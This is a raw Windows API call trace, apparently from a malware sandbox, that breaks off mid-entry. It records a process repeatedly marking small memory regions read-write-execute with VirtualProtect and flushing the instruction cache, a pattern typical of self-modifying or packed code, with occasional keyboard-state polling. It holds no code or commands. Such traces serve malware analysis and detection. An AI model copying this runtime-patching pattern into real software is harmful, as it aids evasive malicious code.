[0105.679] VirtualProtect (in: lpAddress=0xf5d28b8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0105.679] GetCurrentProcess () returned 0xffffffff [0105.679] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d28b9, dwSize=0x2) returned 1 [0105.679] GetCurrentProcess () returned 0xffffffff [0105.679] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d28d8, dwSize=0x14) returned 1 [0105.679] VirtualProtect (in: lpAddress=0xf5d28d8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0105.679] GetCurrentProcess () returned 0xffffffff [0105.680] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d28d9, dwSize=0x2) returned 1 [0105.680] GetCurrentProcess () returned 0xffffffff [0105.680] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d28f8, dwSize=0x14) returned 1 [0105.680] VirtualProtect (in: lpAddress=0xf5d28f8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0105.680] GetCurrentProcess () returned 0xffffffff [0105.680] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d28f9, dwSize=0x2) returned 1 [0105.680] GetCurrentProcess () returned 0xffffffff [0105.680] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d1188, dwSize=0x14) returned 1 [0105.680] VirtualProtect (in: lpAddress=0xf5d1188, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0105.680] GetCurrentProcess () returned 0xffffffff [0105.680] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d1189, dwSize=0x2) returned 1 [0105.681] GetCurrentProcess () returned 0xffffffff [0105.681] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d11a8, dwSize=0x14) returned 1 [0105.681] VirtualProtect (in: lpAddress=0xf5d11a8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0105.681] GetCurrentProcess () returned 0xffffffff [0105.681] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d11a9, dwSize=0x2) returned 1 [0105.681] GetCurrentProcess () returned 0xffffffff [0105.681] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d11c8, dwSize=0x14) returned 1 [0105.681] VirtualProtect (in: lpAddress=0xf5d11c8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0105.682] GetCurrentProcess () returned 0xffffffff [0105.682] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d11c9, dwSize=0x2) returned 1 [0105.683] GetAsyncKeyState (vKey=3) returned 0 [0105.683] VarCmp (pvarLeft=0x197dcc, pvarRight=0x197dbc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0105.683] CRetailMalloc_Alloc () returned 0xcb2a6f8 [0105.683] memcpy (in: _Dst=0xcf94f48, _Src=0x1976bc, _Size=0x4 | out: _Dst=0xcf94f48) returned 0xcf94f48 [0105.683] memcpy (in: _Dst=0xcb2a718, _Src=0x197724, _Size=0x18 | out: _Dst=0xcb2a718) returned 0xcb2a718 [0105.683] CRetailMalloc_Realloc () returned 0xcb2a6f8 [0105.683] CRetailMalloc_Free () returned 0x1 [0105.683] GetCurrentProcess () returned 0xffffffff [0105.683] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf38ec, dwSize=0x14) returned 1 [0105.683] VirtualProtect (in: lpAddress=0xcaf38ec, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0105.684] GetCurrentProcess () returned 0xffffffff [0105.684] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf38ed, dwSize=0x2) returned 1 [0105.684] GetCurrentProcess () returned 0xffffffff [0105.684] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf390c, dwSize=0x14) returned 1 [0105.684] VirtualProtect (in: lpAddress=0xcaf390c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0105.684] GetCurrentProcess () returned 0xffffffff [0105.685] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf390d, dwSize=0x2) returned 1 [0105.685] GetCurrentProcess () returned 0xffffffff [0105.685] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf392c, dwSize=0x14) returned 1 [0105.685] VirtualProtect (in: lpAddress=0xcaf392c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0105.685] GetCurrentProcess () returned 0xffffffff [0105.685] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf392d, dwSize=0x2) returned 1 [0105.685] GetCurrentProcess () returned 0xffffffff [0105.685] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf394c, dwSize=0x14) returned 1 [0105.685] VirtualProtect (in: lpAddress=0xcaf394c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0105.686] GetCurrentProcess () returned 0xffffffff [0105.686] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf394d, dwSize=0x2) returned 1 [0105.686] GetCurrentProcess () returned 0xffffffff [0105.686] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf396c, dwSize=0x14) returned 1 [0105.686] VirtualProtect (in: lpAddress=0xcaf396c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0105.686] GetCurrentProcess () returned 0xffffffff [0105.686] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf396d, dwSize=0x2) returned 1 [0105.686] GetCurrentProcess () returned 0xffffffff [0105.686] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf398c, dwSize=0x14) returned 1 [0105.687] VirtualProtect (in: lpAddress=0xcaf398c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0105.687] GetCurrentProcess () returned 0xffffffff [0105.687] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf398d, dwSize=0x2) returned 1 [0105.687] GetCurrentProcess () returned 0xffffffff [0105.687] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf39ac, dwSize=0x14) returned 1 [0105.687] VirtualProtect (in: lpAddress=0xcaf39ac, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0105.812] GetCurrentProcess () returned 0xffffffff [0105.812] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf39ad, dwSize=0x2) returned 1 [0105.812] GetCurrentProcess () returned 0xffffffff [0105.812] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf39cc, dwSize=0x14) returned 1 [0105.812] VirtualProtect (in: lpAddress=0xcaf39cc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0105.813] GetCurrentProcess () returned 0xffffffff [0105.813] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf39cd, dwSize=0x2) returned 1 [0105.813] GetCurrentProcess () returned 0xffffffff [0105.814] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf39ec, dwSize=0x14) returned 1 [0105.814] VirtualProtect (in: lpAddress=0xcaf39ec, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0105.814] GetCurrentProcess () returned 0xffffffff [0105.814] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf39ed, dwSize=0x2) returned 1 [0105.814] GetCurrentProcess () returned 0xffffffff [0105.814] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf3a0c, dwSize=0x14) returned 1 [0105.814] VirtualProtect (in: lpAddress=0xcaf3a0c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0105.815] GetCurrentProcess () returned 0xffffffff [0105.815] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf3a0d, dwSize=0x2) returned 1 [0105.815] GetCurrentProcess () returned 0xffffffff [0105.815] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf3a2c, dwSize=0x14) returned 1 [0105.815] VirtualProtect (in: lpAddress=0xcaf3a2c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0105.816] GetCurrentProcess () returned 0xffffffff [0105.816] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf3a2d, dwSize=0x2) returned 1 [0105.816] GetCurrentProcess () returned 0xffffffff [0105.816] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf3a4c, dwSize=0x14) returned 1 [0105.816] VirtualProtect (in: lpAddress=0xcaf3a4c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0105.817] GetCurrentProcess () returned 0xffffffff [0105.817] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf3a4d, dwSize=0x2) returned 1 [0105.817] GetCurrentProcess () returned 0xffffffff [0105.817] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2718, dwSize=0x14) returned 1 [0105.817] VirtualProtect (in: lpAddress=0xf5d2718, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0105.817] GetCurrentProcess () returned 0xffffffff [0105.817] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2719, dwSize=0x2) returned 1 [0105.817] GetCurrentProcess () returned 0xffffffff [0105.817] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2738, dwSize=0x14) returned 1 [0105.817] VirtualProtect (in: lpAddress=0xf5d2738, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0105.818] GetCurrentProcess () returned 0xffffffff [0105.818] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2739, dwSize=0x2) returned 1 [0105.818] GetCurrentProcess () returned 0xffffffff [0105.818] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2758, dwSize=0x14) returned 1 [0105.818] VirtualProtect (in: lpAddress=0xf5d2758, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0105.819] GetCurrentProcess () returned 0xffffffff [0105.819] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2759, dwSize=0x2) returned 1 [0105.819] GetCurrentProcess () returned 0xffffffff [0105.819] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2778, dwSize=0x14) returned 1 [0105.819] VirtualProtect (in: lpAddress=0xf5d2778, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0105.820] GetCurrentProcess () returned 0xffffffff [0105.820] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2779, dwSize=0x2) returned 1 [0105.820] GetCurrentProcess () returned 0xffffffff [0105.820] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2798, dwSize=0x14) returned 1 [0105.820] VirtualProtect (in: lpAddress=0xf5d2798, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0105.820] GetCurrentProcess () returned 0xffffffff [0105.820] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2799, dwSize=0x2) returned 1 [0105.820] GetCurrentProcess () returned 0xffffffff [0105.821] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d27b8, dwSize=0x14) returned 1 [0105.821] VirtualProtect (in: lpAddress=0xf5d27b8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0105.821] GetCurrentProcess () returned 0xffffffff [0105.821] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d27b9, dwSize=0x2) returned 1 [0105.821] GetCurrentProcess () returned 0xffffffff [0105.821] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d27d8, dwSize=0x14) returned 1 [0105.821] VirtualProtect (in: lpAddress=0xf5d27d8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0105.822] GetCurrentProcess () returned 0xffffffff [0105.822] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d27d9, dwSize=0x2) returned 1 [0105.822] GetCurrentProcess () returned 0xffffffff [0105.822] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d27f8, dwSize=0x14) returned 1 [0105.822] VirtualProtect (in: lpAddress=0xf5d27f8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0105.823] GetCurrentProcess () returned 0xffffffff [0105.823] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d27f9, dwSize=0x2) returned 1 [0105.823] GetCurrentProcess () returned 0xffffffff [0105.823] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2818, dwSize=0x14) returned 1 [0105.823] VirtualProtect (in: lpAddress=0xf5d2818, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0105.823] GetCurrentProcess () returned 0xffffffff [0105.823] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2819, dwSize=0x2) returned 1 [0105.823] GetCurrentProcess () returned 0xffffffff [0105.823] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2838, dwSize=0x14) returned 1 [0105.823] VirtualProtect (in: lpAddress=0xf5d2838, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0105.825] GetCurrentProcess () returned 0xffffffff [0105.825] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2839, dwSize=0x2) returned 1 [0105.825] GetCurrentProcess () returned 0xffffffff [0105.825] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2858, dwSize=0x14) returned 1 [0105.825] VirtualProtect (in: lpAddress=0xf5d2858, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0105.825] GetCurrentProcess () returned 0xffffffff [0105.825] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2859, dwSize=0x2) returned 1 [0105.825] GetCurrentProcess () returned 0xffffffff [0105.825] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2878, dwSize=0x14) returned 1 [0105.825] VirtualProtect (in: lpAddress=0xf5d2878, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0105.826] GetCurrentProcess () returned 0xffffffff [0105.826] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2879, dwSize=0x2) returned 1 [0105.826] GetCurrentProcess () returned 0xffffffff [0105.826] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2898, dwSize=0x14) returned 1 [0105.826] VirtualProtect (in: lpAddress=0xf5d2898, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0105.827] GetCurrentProcess () returned 0xffffffff [0105.827] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2899, dwSize=0x2) returned 1 [0105.827] GetCurrentProcess () returned 0xffffffff [0105.827] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d28b8, dwSize=0x14) returned 1 [0105.827] VirtualProtect (in: lpAddress=0xf5d28b8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0105.827] GetCurrentProcess () returned 0xffffffff [0105.827] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d28b9, dwSize=0x2) returned 1 [0105.827] GetCurrentProcess () returned 0xffffffff [0105.827] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d28d8, dwSize=0x14) returned 1 [0105.827] VirtualProtect (in: lpAddress=0xf5d28d8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0105.828] GetCurrentProcess () returned 0xffffffff [0105.828] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d28d9, dwSize=0x2) returned 1 [0105.828] GetCurrentProcess () returned 0xffffffff [0105.830] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d28f8, dwSize=0x14) returned 1 [0105.830] VirtualProtect (in: lpAddress=0xf5d28f8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0105.831] GetCurrentProcess () returned 0xffffffff [0105.831] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d28f9, dwSize=0x2) returned 1 [0105.831] GetCurrentProcess () returned 0xffffffff [0105.831] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d1188, dwSize=0x14) returned 1 [0105.831] VirtualProtect (in: lpAddress=0xf5d1188, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0105.832] GetCurrentProcess () returned 0xffffffff [0105.832] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d1189, dwSize=0x2) returned 1 [0105.832] GetCurrentProcess () returned 0xffffffff [0105.832] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d11a8, dwSize=0x14) returned 1 [0105.832] VirtualProtect (in: lpAddress=0xf5d11a8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0105.833] GetCurrentProcess () returned 0xffffffff [0105.833] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d11a9, dwSize=0x2) returned 1 [0105.833] GetCurrentProcess () returned 0xffffffff [0105.833] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d11c8, dwSize=0x14) returned 1 [0105.833] VirtualProtect (in: lpAddress=0xf5d11c8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0105.833] GetCurrentProcess () returned 0xffffffff [0105.833] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d11c9, dwSize=0x2) returned 1 [0105.834] GetAsyncKeyState (vKey=3) returned 0 [0105.835] GetAsyncKeyState (vKey=3) returned 0 [0105.835] VarCmp (pvarLeft=0x197dcc, pvarRight=0x197dbc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0105.835] CRetailMalloc_Alloc () returned 0xcb2a758 [0105.835] memcpy (in: _Dst=0xcf94f48, _Src=0x1976bc, _Size=0x4 | out: _Dst=0xcf94f48) returned 0xcf94f48 [0105.835] memcpy (in: _Dst=0xcb2a778, _Src=0x197724, _Size=0x18 | out: _Dst=0xcb2a778) returned 0xcb2a778 [0105.835] CRetailMalloc_Realloc () returned 0xcb2a758 [0105.835] CRetailMalloc_Free () returned 0x1 [0105.835] GetCurrentProcess () returned 0xffffffff [0105.835] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf38ec, dwSize=0x14) returned 1 [0105.835] VirtualProtect (in: lpAddress=0xcaf38ec, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0105.836] GetCurrentProcess () returned 0xffffffff [0105.836] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf38ed, dwSize=0x2) returned 1 [0105.836] GetCurrentProcess () returned 0xffffffff [0105.836] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf390c, dwSize=0x14) returned 1 [0105.836] VirtualProtect (in: lpAddress=0xcaf390c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0105.837] GetCurrentProcess () returned 0xffffffff [0105.837] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf390d, dwSize=0x2) returned 1 [0105.837] GetCurrentProcess () returned 0xffffffff [0105.837] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf392c, dwSize=0x14) returned 1 [0105.837] VirtualProtect (in: lpAddress=0xcaf392c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0105.838] GetCurrentProcess () returned 0xffffffff [0105.838] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf392d, dwSize=0x2) returned 1 [0105.838] GetCurrentProcess () returned 0xffffffff [0105.838] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf394c, dwSize=0x14) returned 1 [0105.838] VirtualProtect (in: lpAddress=0xcaf394c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0105.838] GetCurrentProcess () returned 0xffffffff [0105.838] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf394d, dwSize=0x2) returned 1 [0105.838] GetCurrentProcess () returned 0xffffffff [0105.838] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf396c, dwSize=0x14) returned 1 [0105.839] VirtualProtect (in: lpAddress=0xcaf396c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0105.839] GetCurrentProcess () returned 0xffffffff [0105.839] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf396d, dwSize=0x2) returned 1 [0105.839] GetCurrentProcess () returned 0xffffffff [0105.839] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf398c, dwSize=0x14) returned 1 [0105.839] VirtualProtect (in: lpAddress=0xcaf398c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0105.840] GetCurrentProcess () returned 0xffffffff [0105.840] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf398d, dwSize=0x2) returned 1 [0105.840] GetCurrentProcess () returned 0xffffffff [0105.840] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf39ac, dwSize=0x14) returned 1 [0105.840] VirtualProtect (in: lpAddress=0xcaf39ac, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0105.841] GetCurrentProcess () returned 0xffffffff [0105.841] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf39ad, dwSize=0x2) returned 1 [0105.841] GetCurrentProcess () returned 0xffffffff [0105.841] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf39cc, dwSize=0x14) returned 1 [0105.841] VirtualProtect (in: lpAddress=0xcaf39cc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0105.841] GetCurrentProcess () returned 0xffffffff [0105.841] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf39cd, dwSize=0x2) returned 1 [0105.841] GetCurrentProcess () returned 0xffffffff [0105.841] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf39ec, dwSize=0x14) returned 1 [0105.841] VirtualProtect (in: lpAddress=0xcaf39ec, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0105.842] GetCurrentProcess () returned 0xffffffff [0105.842] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf39ed, dwSize=0x2) returned 1 [0105.842] GetCurrentProcess () returned 0xffffffff [0105.842] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf3a0c, dwSize=0x14) returned 1 [0105.842] VirtualProtect (in: lpAddress=0xcaf3a0c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0105.843] GetCurrentProcess () returned 0xffffffff [0105.843] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf3a0d, dwSize=0x2) returned 1 [0105.843] GetCurrentProcess () returned 0xffffffff [0105.843] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf3a2c, dwSize=0x14) returned 1 [0105.843] VirtualProtect (in: lpAddress=0xcaf3a2c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0105.843] GetCurrentProcess () returned 0xffffffff [0105.843] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf3a2d, dwSize=0x2) returned 1 [0105.843] GetCurrentProcess () returned 0xffffffff [0105.843] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf3a4c, dwSize=0x14) returned 1 [0105.843] VirtualProtect (in: lpAddress=0xcaf3a4c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0105.931] GetCurrentProcess () returned 0xffffffff [0105.931] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcaf3a4d, dwSize=0x2) returned 1 [0105.931] GetCurrentProcess () returned 0xffffffff [0105.931] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2718, dwSize=0x14) returned 1 [0105.931] VirtualProtect (in: lpAddress=0xf5d2718, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0105.932] GetCurrentProcess () returned 0xffffffff [0105.932] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2719, dwSize=0x2) returned 1 [0105.932] GetCurrentProcess () returned 0xffffffff [0105.932] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2738, dwSize=0x14) returned 1 [0105.932] VirtualProtect (in: lpAddress=0xf5d2738, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0105.932] GetCurrentProcess () returned 0xffffffff [0105.932] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2739, dwSize=0x2) returned 1 [0105.932] GetCurrentProcess () returned 0xffffffff [0105.932] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2758, dwSize=0x14) returned 1 [0105.932] VirtualProtect (in: lpAddress=0xf5d2758, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0105.933] GetCurrentProcess () returned 0xffffffff [0105.933] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2759, dwSize=0x2) returned 1 [0105.933] GetCurrentProcess () returned 0xffffffff [0105.933] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2778, dwSize=0x14) returned 1 [0105.933] VirtualProtect (in: lpAddress=0xf5d2778, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0105.934] GetCurrentProcess () returned 0xffffffff [0105.934] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2779, dwSize=0x2) returned 1 [0105.934] GetCurrentProcess () returned 0xffffffff [0105.934] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2798, dwSize=0x14) returned 1 [0105.934] VirtualProtect (in: lpAddress=0xf5d2798, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: lpflOldProtect=0x1973cc*=0x40) returned 1 [0105.935] GetCurrentProcess () returned 0xffffffff [0105.935] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d2799, dwSize=0x2) returned 1 [0105.935] GetCurrentProcess () returned 0xffffffff [0105.935] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf5d27b8, dwSize=0x14) returned 1 [0105.935] VirtualProtect (in: lpAddress=0xf5d27b8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x1973cc | out: 